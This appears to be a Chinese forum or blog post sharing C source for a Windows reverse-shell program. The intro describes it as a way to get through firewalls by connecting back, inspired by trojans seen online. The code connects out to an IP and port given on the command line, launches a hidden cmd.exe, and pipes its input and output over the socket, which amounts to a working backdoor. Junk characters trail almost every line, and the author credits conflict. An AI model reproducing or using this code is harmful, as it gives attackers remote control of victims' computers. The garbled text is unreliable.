这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6<5:m:KE
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/* ============================== G7-k ,P^
Rebound port in Windows NT ,BGUIu6
By wind,2006/7 PVljb=8F
===============================*/ ?0JNaf
#include [^/a`Kda8
#include 2_M+o]Z^
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#pragma comment(lib,"wsock32.lib") q j9q
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void OutputShell(); DYgB_Iak
SOCKET sClient; uT<<G)v)
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9^Web~yi#
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void main(int argc,char **argv) d`5AQfL&
{ ~MYE8xrId
WSADATA stWsaData; o"A)t=
int nRet; Q^05n$ tI
SOCKADDR_IN stSaiClient,stSaiServer; BYa#<jXtAT
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if(argc != 3) k:@N6K/$P^
{ alNn(0MG
printf("Useage:\n\rRebound DestIP DestPort\n"); _X=6M
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return; zA3r&stN+
} IQ-l%x[fue
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WSAStartup(MAKEWORD(2,2),&stWsaData); Lg#(?tMp,'
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \\Q){\S
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stSaiClient.sin_family = AF_INET; 5e7\tBab
stSaiClient.sin_port = htons(0); =43NSY
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); L8NZU*"
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n^5Q
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{ -F3~X R
printf("Bind Socket Failed!\n"); 5gC>j(
return; 5e0d;Rd
} ),j6tq[
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stSaiServer.sin_family = AF_INET; ]A#:Uc5
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); MOp "kA
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W_3BL]^=
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) K3,PmI&W
{ oJ"D5d,
printf("Connect Error!"); |m@>AbR5dk
return; @qx$b~%
} ~.0'v [N
OutputShell(); =9^}>u
} QF*cdc<
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void OutputShell() Acd@BL*
{ h5-yhG
char szBuff[1024]; YmjA!n
SECURITY_ATTRIBUTES stSecurityAttributes; Eelv i5
OSVERSIONINFO stOsversionInfo; m@w469&<(q
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3/]FT#l]i
STARTUPINFO stStartupInfo; y"U)&1 c%
char *szShell; b^ [ z'
PROCESS_INFORMATION stProcessInformation; mh SknyqT
unsigned long lBytesRead; r=AA
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); UTN[!0[
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2Yd@V}
stSecurityAttributes.lpSecurityDescriptor = 0; [cl+AV "
stSecurityAttributes.bInheritHandle = TRUE; 2cRru]VZ5
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); . n)R@&9
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ue'dI
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -"H0Qafm
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 19!;0fe=
stStartupInfo.wShowWindow = SW_HIDE; X(3| (1;sV
stStartupInfo.hStdInput = hReadPipe; Y>
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; EIyFGCw|U
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GetVersionEx(&stOsversionInfo); EYCZuJxv
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switch(stOsversionInfo.dwPlatformId) |GsMLY:0
{ M_2>b:#A*
case 1: "Ehh9 m1&
szShell = "command.com"; DBLM0*B
break; zpeCT3Q5O
default: d~h;|Bl[
szShell = "cmd.exe"; pLV
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break; |3Oyg ?2
} t imY0fx#
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g#7Q-n3^
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send(sClient,szMsg,77,0); v9S=$Aj
while(1) #Er"i
{ (uhE'IQ{(
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X7`-dSVE
if(lBytesRead) vH1,As
{ ^Qn:#O9
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Y%- !%|
send(sClient,szBuff,lBytesRead,0); )& Oxp&x
} Fav++ z
else 9PV+Kr!c5I
{ *p#@W-:9E
lBytesRead=recv(sClient,szBuff,1024,0); 4gNN "
if(lBytesRead<=0) break; J]{<Z?%
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); z,2*3Be6V
} $ Y^0l
} p4UEhT
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return; r)K5<[\r
}